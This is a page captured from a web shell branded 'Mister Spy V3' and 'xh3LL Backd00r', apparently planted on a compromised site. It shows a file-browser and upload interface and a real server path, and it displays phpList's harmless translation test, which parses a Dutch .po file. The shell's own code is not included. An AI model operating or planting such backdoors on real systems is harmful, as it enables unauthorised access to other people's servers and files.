Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/phplist/lists/admin/tests/
Upload File :
Current File : /home/caballoscriollos/www/phplist/lists/admin/tests/translation.php

<?php

class translation extends phplistTest {
  public $name = 'Translation';
  public $purpose = 'Test translated texts are loaded correctly';
  
  function runtest() {
    $test = new phplist_I18N();
    $test->language = 'nl';
    
    $dutch = file_get_contents(dirname(__FILE__).'/../locale/nl/phplist.po');
    $lines = explode("\n",$dutch);
    $orig = $trans = '';
    $translations = array();
    foreach ($lines as $line) {
      if (preg_match('/^msgid "(.*)"$/',$line,$regs)) {
        $translations[$orig] = $trans;
        $orig = $regs[1];
        $trans = '';
      } 
      if (preg_match('/^msgstr "(.*)"$/',$line,$regs)) {
        $trans .= $regs[1];
      }
    } 
    
    $result = array('good' => 0, 'bad'=> 0);
    foreach ($translations as $orig => $trans) {
      if (!empty($orig) && !empty($trans) && $orig != $trans) {
        if (strtolower($test->gettext($orig)) == strtolower($trans)) {
          $result['good'] += 1;
          //print "<h3>SUCCESS ON $orig</h3>";
          //print "<p>$trans</p>";
          //print '<p>'.$test->get($orig).'</p>';
        } else {
          $result['bad'] += 1;
          print "<h3>FAIL ON $orig</h3>";
          print "<p>Should be <b>$trans</b></p>";
          print '<p>Is currently <b>'.$test->gettext($orig).'</b></p>';
        }
      }

    }
    var_dump($result); 
    
  }
  
  
  
}
  

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat